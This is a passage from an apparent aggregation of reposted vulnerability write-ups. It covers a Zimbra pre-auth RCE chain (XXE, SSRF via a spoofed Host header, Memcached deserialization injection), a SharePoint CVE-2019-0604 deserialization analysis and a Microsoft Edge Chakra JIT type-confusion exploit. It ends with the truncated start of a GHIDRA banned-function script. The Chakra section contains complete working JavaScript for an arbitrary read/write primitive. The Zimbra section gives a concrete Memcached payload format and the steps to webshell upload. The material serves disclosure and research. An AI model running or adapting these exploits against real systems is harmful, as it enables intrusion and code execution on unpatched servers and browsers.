conditions to trigger. These all allow direct file extraction through response. It's worth to mention that exploiting out-of-band XXE on recent Java just got a lot harder due to a patch in the core FtpClient which makes it reject all FTP commands containing newline. This doesn't affect the exploits for the vulnerabilities mentioned above, but it did make some of my previous efforts to chain XXE with other bugs in vain. FtpClient.issueCommand() On installation, Zimbra sets up a global admin for its internal SOAP communications, with the username 'zimbra' and a randomly generated password. These information are always stored in a local file named localconfig.xml. As such, a file-read vulnerability like XXE could potentially be catastrophic to Zimbra, since it allows an attacker to acquire the login information of a user with all the admin rights. This has been demonstrated as the case in a CVE-2013-7091 LFI exploit where under certain conditions, one could use such credentials to gain RCE. However things have never been that easy. Zimbra manages user privileges via tokens, and it sets up an application model such that an admin token can only be granted to requests coming to the admin port, which by default is 7071. The aforementioned LFI exploit conveniently assumes we already have access to that port. But how often do you see the weirdo 7071 open to public? 2. SSRF to the rescue - CVE-2019-9621 If you can't access the port from public, let the application do it for you. The code at ProxyServlet.doProxy() does exactly what its name says, it proxies a request to another designated location. What's more, this servlet is available on the normal webapp and therefore accessible from public. Sweet! However the code has an additional protection, it checks whether the proxied target matches a set of predefined whitelisted domains. That is, unless the request is from an admin. Sounds right, an admin should be able to do what he wants. (Un)Fortunately, the admin checks are flawed. First thing it checks is whether the request comes from port 7071. However it uses ServletRequest.getServerPort() to fetch the incoming port. This method returns a tainted input controllable by an attacker, which is the part after ':' in the Host header. What's more, after that the check for the admin token happens only if it is fetched from a parameter, meanwhile we can totally send a token via cookie! In short, if we send a request with 'foo:7071' Host header and a valid token in cookie, we can proxy a request to arbitrary targets that is otherwise only accessible to admins. The check for an admin token can only happen if it's fetched from parameter 3. Pre-Auth RCE from public port ProxyServlet still needs a valid token though, so how does this fit in a preauth RCE chain? Turns out Zimbra has a 'hidden' feature that can help us generate a normal user token under the special global 'zimbra' account. When we modify an ordinary SOAP AuthRequest which looks like this: ? 1 ...<account by="name">tint0</account>... into this: ? 1 ...<account by="adminName">zimbra</account>... Zimbra will then lookup all the admin accounts and proceed to check the password. This is actually quite surprising because Zimbra admins and users naturally reside in two different LDAP branches. A normal AuthRequest should only touch the normal user branch, never the other. If the application wants a token for an admin, it already has port 7071 for that. Note that while this little trick could give us a token for the 'zimbra' user, this token doesn't have any of the admin flag in it as it's not coming from port 7071. This is when ProxyServlet jumps in, which will help us to proxy another admin AuthRequest to port 7071 and obtain a global admin token. Now that we've got everything we need. The flow is to read the config file via XXE, generate a low-priv token through a normal AuthRequest, proxy an admin AuthRequest to the local admin port via ProxyServlet and finally, use the global admin token to upload a webshell via the ClientUploader extension. Breaking Zimbra part 2 Zimbra has its own implementation of IMAP protocol, where it keeps a cache of the recently logged-in mailbox folders so that it doesn't have to load all the metadata from scratch next time. Zimbra serializes a user's mailbox folders to the cache on logging out and deserializes it when the same user logs in again. It has three ways to maintain a cache: Memcached(network-based input), EhCache(memory-based) and file-based. If one fails, it tries the next in list. Of all of those, we can only hope to manipulate Memcached, and this is the condition of the exploit: Zimbra has to use Memcached as its caching mechanism. Even though Memcached is prioritized over the others, (un)fortunately on a single-server instance, the LDAP key zimbraMemcachedClientServerList isn't auto-populated, so Zimbra wouldn't know where the service is and will fail over to Ehcache. This is probably a bug in Zimbra itself, as Memcached service is up and running by default and that way it wouldn't have any data in it. On a multi-server install however, setting this key is expected as only Memcached can work accross many servers. To check whether your Zimbra install is vulnerable, invoke this command on every node in the cluster and check if it returns a value: ? 1 $ zmprov gs `zmhostname` zimbraMemcachedClientServerList The deserialization process happens at ImapMemcachedSerializer.deserialize() and triggers on ImapHandler.doSELECT() i.e. when a user invoking an IMAP SELECT command. The IMAP port in most cases is publicly accessible, so we can safely assume the trigger of this exploit. To bring this to RCE, one still needs to find a suitable gadget to form a chain. The twist is, none of the current public chains (ysoserial) works on Zimbra. 1. Making of a gadget Of all the gadgets available, MozillaRhino1 particularly stands out as all classes in the chain are available on Zimbra's classpath. This chain is based on Rhino library version 1.7R2. Zimbra uses the lib yuicompressor version 2.4.2 for js compression, and yuicompressor is bundled with Rhino 1.6R7. The unfortunate thing is there's an internal bug in 1.6R7 that would break the MozillaRhino1 chain before it ever reaches code execution, so we're out of luck. The good thing is, thanks to the effort in attempting to get the original chain to work and to the blog post detailing the MozillaRhino1 chain [1], we learnt a lot about Rhino's internals and on our way to pop another gadget. There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() (Thanks to the valuable help from @matthias_kaiser) and it's directly accessible from NativeJavaObject.readObject(). The chain is now available in ysoserial's payload storage under the name MozillaRhino2. It works all the way to the latest version (with some tweaks) and has some additional improvement over MozillaRhino1. One interesting thing I found while reading Matt's blog post is that OpenJDK 1.7.x always bundles with rhino as its scripting engine, which essentially means that these rhino gadgets may very well work natively on OpenJDK7 and below. This discovery escalates the bug from a Memcached Injection into a Code Execution. To exploit it, query into the Memcached service, pop out any 'zmImap' key, replace its value with the serialized object from ysoserial and next time the corresponding user logins via IMAP, the deserialization will trigger. 2. Smuggling from HTTP to Memcached RCE from port 11211 sounds fun, but less so practical. So again, we turn to SSRF for help. The idea is to use the HTTP request from SSRF to inject our defined data in Memcached. To accomplish this, first we need to control a field in the HTTP request that allows the injection of newlines (CRLF). This is because a CRLF in Memcached will denote the end of a command and allow us to start a new arbitrary command after that. Second, since we're pushing raw objects into Memcached, our controlled input also needs to be able to carry binary data. Zimbra has quite a few SSRFs in itself, however there's only one place that suffices both conditions, and it happens to be the all-powerful ProxyServlet earlier. For a successful smuggle from HTTP to Memcached protocol, you should see something like above under the hood. It has exactly 6 ERROR and 1 STORED, correlating to 6 lines of HTTP headers and our payload, which also means our payload was successfully injected. 3. RCE from public port That said, things are different when we use SSRF to inject to Memcached. In this situation we could only inject data into the cache, not pop data out because HTTP protocol cannot parse Memcached response. So we have no idea what our targeted Memcached entry's key looks like, and we need to know the exact key to be able replace its value with our malicious payload. Fortunately, the Memcached key for Zimbra Imap follows a structure that we can construct ourselves. It follows the pattern ? 1 zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity> with: - accountId fetched from hex-decoding any login token - folderNo the constant '2' if we target the user's Inbox folder - modseq and uidvalidity obtained via IMAP as shown below Now we have everything we need. Putting it together, the chain would be as follows: - Get a user credentials - Construct a Memcached key for that user following the above instructions - Generate a ysoserial payload from the gadget MozillaRhino2, use it as the Memcached entry value. - Inject the payload to Memcached via the SSRF. In the end, our payload should look like: ? 1 "set zmImap:61e0594d-dda9-4274-87d8-a2912470a35e:2:162:1 2048 3600 <size_of_object>" + "\r\n" + <object> + "\r\n" - Login again via IMAP. Upon selecting the Inbox folder, the payload will get deserialized, followed by the RCE gadget. The patches Zimbra issued quite a number of patches, of which the most important are to fix XXEs and arbitrary deserialization. However the fix is only available for 8.7.11 and 8.8.x. If you happen to use an earlier version of Zimbra, consider upgrading to one of their supported version. As a workaround, blocking public requests going to '/service/proxy*' would most likely break the RCE chains. Unfortunately there's none that I can think of that could block all the XXEs without also breaking some of Zimbra features. [1] https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html Sursa: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

CVE-2019-0604: Details of a Microsoft SharePoint RCE Vulnerability March 13, 2019 | Guest Blogger Last month, Microsoft released patches to address two remote code execution (RCE) vulnerabilities in SharePoint. In both Critical-rated cases, an attacker could send a specially crafted request to execute their code in the context of the SharePoint application pool and the SharePoint server farm account. Both of these bugs were reported to the ZDI program by Markus Wulftange. He has graciously provided the following write-up on the details of CVE-2019-0604. When searching for new vulnerabilities, one approach is the bottom-up approach. It describes the approach of looking for an interesting sink and tracing the control and data flow backwards to find out if the sink can be reached. One of these promising sinks is the deserialization using the XmlSerializer. In general, it is considered a secure serializer as it must be instrumented with the expected type and it is not possible to specify an arbitrary type within the stream that cannot appear in the object graph of the expected type. But it is exploitable if the expected type can be controlled as well, as it has been shown in Friday the 13th – JSON Attacks by Alvaro Muñoz & Oleksandr Mirosh [PDF]. For analyzing the SharePoint 2016 assemblies, dnSpy is an excellent tool as it can be used for both decompiling and debugging of .NET applications. So, after dnSpy is attached to the IIS worker process w3wp.exe that is running SharePoint 2016, and the assemblies have been loaded, the usage of the XmlSerializer(Type) constructor can be analyzed. Now the tedious part begins where every one of the XmlSerializer(Type) constructor calls has to be looked at and to check whether the expected type is variable at all (e.g. it is not hard-coded as in new XmlSerializer(typeof(DummyType))) and whether it is possible to control the type. One of the methods where the XmlSerializer(Type) constructor gets called is the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) method in Microsoft.SharePoint.dll. The same type with the same functionality is also in the Microsoft.Office.Server.ApplicationRegistry.Infrastructure namespace in the Microsoft.SharePoint.Portal.dll. We will come back to this later and stick to the one in Microsoft.SharePoint.dll. Figure 1 : Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) Here both the typeName, used to specify the expected type, and the data that gets deserialized originate from text, which originates from the method's argument encodedId. This looks perfect as long as the method gets actually called and the passed parameter can be controlled. Tracing back the Flow to the Source The next step is to go through the calls and see if the one of them originates from a point that can be initiated from outside and whether the argument value can also be supplied. Figure 2: Calls to Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) If you’re familiar with the ASP.NET, some of the methods might look familiar like Page_Load(object, EventArgs) or OnLoad(EventArgs). They are called during the ASP.NET life cycle, and the types they are defined in extend System.Web.UI.Page, the base type that represents .aspx files. And, in fact, all three types have a corresponding .aspx file: · Microsoft.SharePoint.ApplicationPages.ActionRedirectPage: /_layouts/15/ActionRedirect.aspx · Microsoft.SharePoint.ApplicationPages.DownloadExternalData: /_layouts/15/downloadexternaldata.aspx · Microsoft.SharePoint.Portal.WebControls.ProfileRedirect: /_layouts/15/TenantProfileAdmin/profileredirect.aspx Although in all three cases the parameter value originates from the HTTP request, it is from the URL's query string. That might become a problem as the hex encoding will multiply the length by 4 and thereby can get pretty long and exceed the limit of the HTTP request line. After further analysis, the last one of all, the ItemPicker.ValidateEntity(PickerEntity) method, turned out to be a better pick. Figure 3: ItemPicker.ValidateEntity(PickerEntity) Here, the PickerEntity's Key property of the passed PickerEntity is used in the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) call. It gets called by EntityEditor.Validate(), which iterates each entry stored in the EntityEditor.Entities property to validate it. Figure 4: EntityEditor.Validate() That method gets called by EntityEditor.LoadPostData(string, NameValueCollection), which implements the System.Web.UI.IPostBackDataHandler.LoadPostData(string, NameValueCollection) method. Figure 5: EntityEditor.LoadPostData(string, NameValueCollection) So that method gets automatically called on post back requests to ItemPicker web controls. The call graph looks as follows: Also note the type hierarchy: Verifying the Data Flow Now that there is a way to reach the EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker web control post back, it is still unclear whether the Key property of a PickerEntity can be controlled as well. The EntityEditor.Entities property is backed by the private field m_listOrder, which gets only assigned at two points: during instantiation and within the EntityEditor.Validate() method. In the latter case, it gets the value of the private field m_listOrderTemp assigned (see line 597 in Fig. 4 above). That field, again, also only gets assigned at two points: during instantiation and within the EntityEditor.ParseSpanData(string) method. This method is also called by EntityEditor.LoadPostData(string, NameValueCollection) with the value of an HtmlInputHidden and the name "hiddenSpanData" (see line 707 in Fig. 5 above). That field's value can be controlled by the user. What is left is to see what EntityEditor.ParseSpanData(string) does with the passed data and whether it ends up as a PickerEntity's Key. We'll skip that because EntityEditor.ParseSpanData(string) is pretty long to show and unless it contains special constructs of nested <SPAN> and <DIV> tags, which get parsed out, everything else ends up in the PickerEntity's Key and then in m_listOrderTemp list. So, now we've found and traversed a vector that allows us to reach EntityInstanceIdEncoder.DecodeEntityInstanceId(string) from an ItemPicker's post back handling while also having control over the input. What is still left is to find an instance of that web control. Finding the Entry Point The ItemPicker web control is actually never used directly in an .aspx page. But when looking at the usages of its base type, EntityEditorWithPicker, it turned out that there is a Picker.aspx at /_layouts/15/Picker.aspx that uses it – what a coincidence! That page expects the type of the picker dialog to use to be provided via the "PickerDialogType" URL parameter in the form of its assembly-qualified name. Here, any of the two ItemPickerDialog types can be used: · Microsoft.SharePoint.WebControls.ItemPickerDialog in Microsoft.SharePoint.dll · Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog in Microsoft.SharePoint.Portal.dll Using the first ItemPickerDialog type shows the following page: Figure 6: Picker.aspx with Microsoft.SharePoint.WebControls.ItemPickerDialog Here, the bottom text field is associated to the ItemPicker. And there is also the correspondent of the HtmlInputHidden with the name ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData that we were looking for. This is the source of our EntityInstanceIdEncoder.DecodeEntityInstanceId(string) sink. Proof of Concept When the form gets submitted with a ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData value beginning with "__" (like "__dummy"), a break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) will reveal the following situation. Figure 7: Break point at EntityInstanceIdEncoder.DecodeEntityInstanceId(string) with the encodedId value "__dummy" At that point the call stack looks like this: And when the other ItemPickerDialog type is used, just the two topmost entries are different and then look like this: This is the final proof that the data of ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData ends up in EntityInstanceIdEncoder.DecodeEntityInstanceId(string). The rest is only coping with entity instance id encoding and finding an appropriate XmlSerializer payload. After the patch was made available in February, Markus noticed something unusual. The original patch only addressed the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.dll but not the Microsoft.Office.Server.ApplicationRegistry.Infrastructure.EntityInstanceIdEncoder in Microsoft.SharePoint.Portal.dll. By using the EntityInstanceIdEncoder type from the Microsoft.SharePoint.Portal.dll with the Picker.aspx as described here, the exploit still worked even though the patch was installed. Microsoft addressed this with the re-release of CVE-2019-0604 yesterday. Special thanks to Markus for providing us such a great write-up. Markus can be found on Twitter at @mwulftange, and we certainly hope to see more submissions from him in the future. Until then, follow the team for the latest in exploit techniques and security patches. Sursa: https://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

CVE-2019-0539 Exploitation. Microsoft Edge Chakra JIT Type Confusion Rom Cyncynatu and Shlomi Levin Introduction. In continuation to our previous blog post that covered the root cause analysis of CVE-2019-0539, we now continue to explain how to achieve a full R/W (Read/Write) primitive which can ultimately lead to a RCE (Remote Code Execution). It’s important to note that Microsoft Edge processes are sandboxed and therefore in order to fully compromise a system an additional vulnerability is needed to escape the sandbox. We would like to acknowledge Lokihardt and Bruno Keith for their amazing research in this field which we found to be extremely valuable for the research presented below. Exploitation. As we have seen in the root cause analysis, the vulnerability gives us the ability to override a javascript object’s slot array pointer. Refer to the wondeful research of Bruno Keith presented at BlueHat IL 2019, and we learn that in Chakra, a javascript object (o={a: 1, b: 2};) is implemented in the Js::DynamicObject class which may have different memory layouts, and the properties slot array pointer is called auxSlots. From the DynamicObject class definition (in lib\Runtime\Types\DynamicObject.h), we see the actual specification of the three possible memory layouts for a DynamicObject that Bruno discusses: // Memory layout of DynamicObject can be one of the following: // (#1) (#2) (#3) // +--------------+ +--------------+ +--------------+ // | vtable, etc. | | vtable, etc. | | vtable, etc. | // |--------------| |--------------| |--------------| // | auxSlots | | auxSlots | | inline slots | // | union | | union | | | // +--------------+ |--------------| | | // | inline slots | | | // +--------------+ +--------------+ // The allocation size of inline slots is variable and dependent on profile data for the // object. The offset of the inline slots is managed by DynamicTypeHandler. So an object can have only an auxSlots pointer but no inline slots (#1), have only inline slots but no auxSlots pointer (#3), or have both (#2). In CVE-2019-0539 PoC, the ‘o’ object starts its lifespan in the (#3) memory layout form. Then, when the JIT code invokes the OP_InitClass function for the last time, the memory layout of object ‘o’ changes in-place to (#1). In particular, the exact memory layout of ‘o’ before and after the OP_InitClass fuction invocation by the JIT code is as follows: Before: After: +---------------+ +--------------+ +--->+--------------+ | vtable | | vtable | | | slot 1 | // o.a +---------------+ +--------------+ | +--------------+ | type | | type | | | slot 2 | // o.b +---------------+ +--------------+ | +--------------+ | inline slot 1 | // o.a | auxSlots +---+ | slot 3 | +---------------+ +--------------+ +--------------+ | inline slot 2 | // o.b | objectArray | | slot 4 | +---------------+ +--------------+ +--------------+ Before OP_InitClass invocation, the o.a property used to reside in the first inline slot. After the invocation, it resides in auxSlots array in slot 1. Thus, as we previously explained in the root cause analysis, the JIT code attempts to update the o.a property in the first inline slot with 0x1234, but since it is unaware to the fact that the object’s memory layout has changed, it actually overrides the auxSlots pointer. Now, in order to exploit this vulnerability and achieve an absolute R\W primitive, then as Bruno explains, we need to corrupt some other useful object and use it to read\write arbitrary addresses in memory. But first, we need to better understand the ability that the vulnerability gives us. As we override the auxSlots pointer of a DynamicObject, we can then “treat” whatever we put in auxSlots as our auxSlots array. Thus, if for example we use the vulnerability to set auxSlots to point to a JavascriptArray object as follows some_array = [{}, 0, 1, 2]; ... opt(o, cons, some_array); // o->auxSlots = some_array then we can later override the ‘some_array’ JavascriptArray object memory by assigning ‘o’ with properties. This is described in the following diagram of the memory state after overriding auxSlots using the vulnerability: o some_array +--------------+ +--->+---------------------+ | vtable | | | vtable | // o.a +--------------+ | +---------------------+ | type | | | type | // o.b +--------------+ | +---------------------+ | auxSlots +---+ | auxSlots | // o.c? +--------------+ +---------------------+ | objectArray | | objectArray | // o.d? +--------------+ |- - - - - - - - - - -| | arrayFlags | | arrayCallSiteIndex | +---------------------+ | length | // o.e?? +---------------------+ | head | // o.f?? +---------------------+ | segmentUnion | // o.g?? +---------------------+ | .... | +---------------------+ Thus, theoretically, if for example we want to override the array length, we can do something like o.e = 0xFFFFFFFF, and then use some_array[1000] to access some distant address from the array’s base address. However, there are couple of issues: All other properties except ‘a’ and ‘b’ are not yet defined. This means that in order to have o.e defined in the right slot, we first need to assign all other properties as well, an operation that will corrupt much more memory than necessary, rendering our array unusable. The original auxSlots array is not large enough. It is initially allocated with only 4 slots. If we define more than 4 properties, the Js::DynamicTypeHandler::AdjustSlots function will allocate a new slots array, setting auxSlots to point to it instead of our JavascriptArray object. The 0xFFFFFFFF value that we plan put in the length field of the JavascriptArray object will not be written exactly as is. Chakra utilizes what’s called tagged numbers, and so the number that will be written would be “boxed”. (See further exaplanations in Chartra’s blog post here). Even if we were able to override just the length with some large value while avoiding corrupting the rest of the memory, this would only give us a “relative” R\W primitive (relative to the array base address), which is significantly less powerful than a full R\W primitive. In fact (spoiler alert), overriding the length field of a JavascriptArray is not useful, and it won’t lead to the relative R\W primitive that we would expect to achieve. What actually needs to be done in this particular case is to corrupt the segment size of the array, but we won’t get into that here. Still, let’s assume that overriding the length field is useful, as it is a good showcase of the subtleties of the exploitation. So, we need to come up with some special techniques to overcome the above mentioned issues. Let’s first discuss issues 1 and 2. The first thing that comes to mind is to pre-define more properties in ‘o’ object in advance, before triggering the vulnerability. Then, when overriding the auxSlots pointer, we already have o.e defined in the correct slot that corresponds to the length field of the array. Unfortunately, when adding more properties in advance, one of the two occures: We change the object memory layout too early to layout (#1), hence inhibiting the vulnerability from occurring in the first place, as there is no chance of overriding the auxSlots pointer anymore. We just create more inline slots that eventually remain inlined after triggering the vulnerability. The object ends up in layout (#2), with most of the properties reside in the new inlined slots. Therefore we still can’t reach slots higher than slot 2 in the alleged auxSlots array – the ‘some_array’ object memory. Bruno Keith in his presentation came up with a great idea to tackle issues 1 and 2 together. Instead of directly corrupting the target object (JavascriptArray in our example), we first corrupt another DynamicObject that was prepared in advance to have many properties, and is already in memory layout (#1): obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; some_array = [{}, 0, 1, 2]; ... opt(o, cons, obj); // o->auxSlots = obj o.c = some_array; // obj->auxSlots = some_array Let’s observe the memory before and after running o.c = some_array;: Before: o obj +--------------+ +--->+--------------+ +->+--------------+ | vtable | | | vtable | //o.a | | slot 1 | // obj.a +--------------+ | +--------------+ | +--------------+ | type | | | type | //o.b | | slot 2 | // obj.b +--------------+ | +--------------+ | +--------------+ | auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c +--------------+ +--------------+ +--------------+ | objectArray | | objectArray | | slot 4 | // obj.d +--------------+ +--------------+ +--------------+ | slot 5 | // obj.e +--------------+ | slot 6 | // obj.f +--------------+ | slot 7 | // obj.g +--------------+ | slot 8 | // obj.h +--------------+ | slot 9 | // obj.i +--------------+ | slot 10 | // obj.j +--------------+ After: o obj some_array +--------------+ +--->+--------------+ +->+---------------------+ | vtable | | | vtable | //o.a | | vtable | // obj.a +--------------+ | +--------------+ | +---------------------+ | type | | | type | //o.b | | type | // obj.b +--------------+ | +--------------+ | +---------------------+ | auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c +--------------+ +--------------+ +---------------------+ | objectArray | | objectArray | | objectArray | // obj.d +--------------+ +--------------+ |- - - - - - - - - - -| | arrayFlags | | arrayCallSiteIndex | +---------------------+ | length | // obj.e +---------------------+ | head | // obj.f +---------------------+ | segmentUnion | // obj.g +---------------------+ | .... | +---------------------+ Now, executing obj.e = 0xFFFFFFFF will actually replace the length field of the ‘some_array’ object. However, as explained in issue 3, the value will not be written as is, but rather in its “boxed” form. Even if we ignore issue 3, issues 4-5 still render our chosen object not useful. Therefore, we ought to choose another object to corrupt. Bruno cleverly opted for using an ArrayBuffer object in his exploit, but unfortunately, in commit cf71a962c1ce0905a12cb3c8f23b6a37987e68df (Merge 1809 October Update changes), the memory layout of the ArrayBuffer object was changed. Rather than pointing directly at the data buffer, it points to an intermediate struct called RefCountedBuffer via a bufferContent field, and only this struct points at the actual data. Therefore, a different solution is required. Eventually, we came up with the idea of corrupting a DataView object, which actually uses an ArrayBuffer internally. Therefore, it has similar advantages as to working with an ArrayBuffer, and it also directly points at the ArrayBuffer’s underlying data buffer! Here is the memory layout of a DataView object which is initialized with an ArrayBuffer (dv = new DataView(new ArrayBuffer(0x100));😞 actual DataView ArrayBuffer buffer +---------------------+ +--->+---------------------+ RefCountedBuffer +--->+----+ | vtable | | | vtable | +--->+---------------------+ | | | +---------------------+ | +---------------------+ | | buffer |---+ +----+ | type | | | type | | +---------------------+ | | | +---------------------+ | +---------------------+ | | refCount | | +----+ | auxSlots | | | auxSlots | | +---------------------+ | | | +---------------------+ | +---------------------+ | | +----+ | objectArray | | | objectArray | | | | | |- - - - - - - - - - -| | |- - - - - - - - - - -| | | +----+ | arrayFlags | | | arrayFlags | | | | | | arrayCallSiteIndex | | | arrayCallSiteIndex | | | +----+ +---------------------+ | +---------------------+ | | | | | length | | | isDetached | | | +----+ +---------------------+ | +---------------------+ | | | | | arrayBuffer |---+ | primaryParent | | | +----+ +---------------------+ +---------------------+ | | | | | byteOffset | | otherParents | | | +----+ +---------------------+ +---------------------+ | | | | | buffer |---+ | bufferContent |---+ | +----+ +---------------------+ | +---------------------+ | | | | | bufferLength | | +----+ | +---------------------+ | | | +-------------------------------------------------------------+ As we can see, the DataView object points to the ArrayBuffer object. The ArrayBuffer points to the the aforementioned RefCountedBuffer object, which then points to the actual data buffer in memory. However, as said, observe that the DataView object also directly points to the actual data buffer as well! If we override the buffer field of the DataView object with our own pointer, we actually achieve the desired absolute read\write primitive as required. Our obstacle is then only issue 3 – we can’t use our corrupted DynamicObject to write plain numbers in memory (tagged numbers…). But now, as DataView objects allow us to write plain numbers on its pointed buffer (see the DataView “API” for details), we can get inspired by Bruno once again, and have two DataView objects in which the first is pointing at the second, and precisely corrupting it how we want. This will solve the last remaining issue, and give us our wanted absolute R\W primitive. So let’s go over the entire exploitation process. See the drawing and explanation below (non interesting objects omitted): o obj DataView #1 - dv1 DataView #2 - dv2 +--------------+ +->+--------------+ +->+---------------------+ +->+---------------------+ +--> 0x???? | vtable | | | vtable | //o.a | | vtable | //obj.a | | vtable | | +--------------+ | +--------------+ | +---------------------+ | +---------------------+ | | type | | | type | //o.b | | type | //obj.b | | type | | +--------------+ | +--------------+ | +---------------------+ | +---------------------+ | | auxSlots +-+ | auxSlots +-//o.c--+ | auxSlots | //obj.c | | auxSlots | | +--------------+ +--------------+ +---------------------+ | +---------------------+ | | objectArray | | objectArray | | objectArray | //obj.d | | objectArray | | +--------------+ +--------------+ |- - - - - - - - - - -| | |- - - - - - - - - - -| | | arrayFlags | | | arrayFlags | | | arrayCallSiteIndex | | | arrayCallSiteIndex | | +---------------------+ | +---------------------+ | | length | //obj.e | | length | | +---------------------+ | +---------------------+ | | arrayBuffer | //obj.f | | arrayBuffer | | +---------------------+ | +---------------------+ | | byteOffset | //obj.g | | byteOffset | | +---------------------+ | +---------------------+ | | buffer |-//obj.h--+ | buffer |--+//dv1.setInt32(0x38,0x??,true); +---------------------+ +---------------------+ //dv1.setInt32(0x3C,0x??,true); Trigger the vulnerability to set ‘o’ auxSlots to ‘obj’ (opt(o, cons, obj);). Use ‘o’ to set ‘obj’ auxSlots to the first DataView (o.c = dv1;). Use ‘obj’ to set the first DataView (‘dv1’) buffer field to the next DataView object (obj.h = dv2;). Use the first DataView object ‘dv1’ to precisely set the buffer field of the second DataView object ‘dv2’ to our address of choice. (dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);). Notice how we write our chosen address (0xDEADBEEFDEADBEEF) to the exact offset (0x38) of the buffer field of ‘dv2’. Use the second DataView object (‘dv2’) to read\write our chosen address (dv2.getUint32(0, true); dv2.getUint32(4, true);). We repeat steps 4 and 5 for every read\write we want to perform. And here is the full R\W primitive code: // commit 331aa3931ab69ca2bd64f7e020165e693b8030b5 obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; dv1 = new DataView(new ArrayBuffer(0x100)); dv2 = new DataView(new ArrayBuffer(0x100)); BASE = 0x100000000; function hex(x) { return "0x" + x.toString(16); } function opt(o, c, value) { o.b = 1; class A extends c {} o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; opt(o, cons, obj); // o->auxSlots = obj (Step 1) o.c = dv1; // obj->auxSlots = dv1 (Step 2) obj.h = dv2; // dv1->buffer = dv2 (Step 3) let read64 = function(addr_lo, addr_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // read from addr (Step 5) return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE; } let write64 = function(addr_lo, addr_hi, value_lo, value_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // write to addr (Step 5) dv2.setInt32(0, value_lo, true); dv2.setInt32(0, value_hi, true); } // get dv2 vtable pointer vtable_lo = dv1.getUint32(0, true); vtable_hi = dv1.getUint32(4, true); print(hex(vtable_lo + vtable_hi * BASE)); // read first vtable entry using the R\W primitive print(hex(read64(vtable_lo, vtable_hi))); // write a value to address 0x1111111122222222 using the R\W primitive (this will crash) write64(0x22222222, 0x11111111, 0x1337, 0x1337); } main(); Note: If you want to debug the code yourself (in WinDBG for example), a very convenient way would be to use “instruments” to break on interesting lines of the JS code. See these two useful ones below: Set a breakpoint on ch!WScriptJsrt::EchoCallback to stop on print(); calls. Set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to stop on DynamicObject properties assignments that are performed by the interpreter. This is extremely useful to see how the javascript objects (‘o’ and ‘obj’) corrupt other objects in memory. Feel free to combine the two to navigate comfortably throughout the exploitation code. Summary. We have seen how we use the JIT corruption of the DynamicObject’s auxSlots to ultimately gain a full R\W primitive. We had to use the corrupted object to further corrupt other interesting objects – notably two DataView objects in which the first precisely corrupts the second to control the primitive’s address of choice. We had to bypass serveral limitations\issues imposed by working with the javascript’s DynamicObject “API”. Finally, be aware that gaining a full R\W primitive is only the first step of exploiting this bug. An attacker would still need to redirect execution flow to gain full RCE. However this is out of scope of this blog post, and could be considered as an exercise left for the reader. Sursa: https://perception-point.io/resources/research/cve-2019-0539-exploitation/

Black Hat Europe 2018 took place at the ExCeL London, December 3-6, 2018. Check out the event information here: https://www.blackhat.com/eu-18/

Automating GHIDRA: Writing a Script to Find Banned Functions by Michael Fowl | Mar 9, 2019 | AppSec, Exploit Development, Malware Analysis At VDA Labs we get excited about Reverse Engineering tools, and the recent release of NSA’s GHIDRA does not disappoint. The fact that it is free, supports many different CPU architectures, contains decompiler functionality, and allows many Reverse Engineers to work on the same project via a Team server, are some of the highlights. Another area of immediate interest to us was the scripting functionality. Much like IDA Pro, it is very easy to write scripts to help automate Reverse Engineering tasks. A Quick Script While playing with this functionality, we quickly wrote a script that searches through a program for the use of any unsafe functions. While not overly complicated, it demonstrates how fast and easy it is to extend GHIDRA’s functionality. We hope you have as much fun scripting GHIDRA as us! Get the script at VDA Labs’ Github! # This script locates potentially dangerous functions that could introduce a vulnerability if they are used incorrectly. #@author: VDA Labs (Michael Fowl) #@category Functions print "Searching for banned functions..." # Microsoft SDL banned.h list. blist = (["strcpy", "strcpyA", "strcpyW", "wcscpy", "_tcscpy", "_mbscpy", 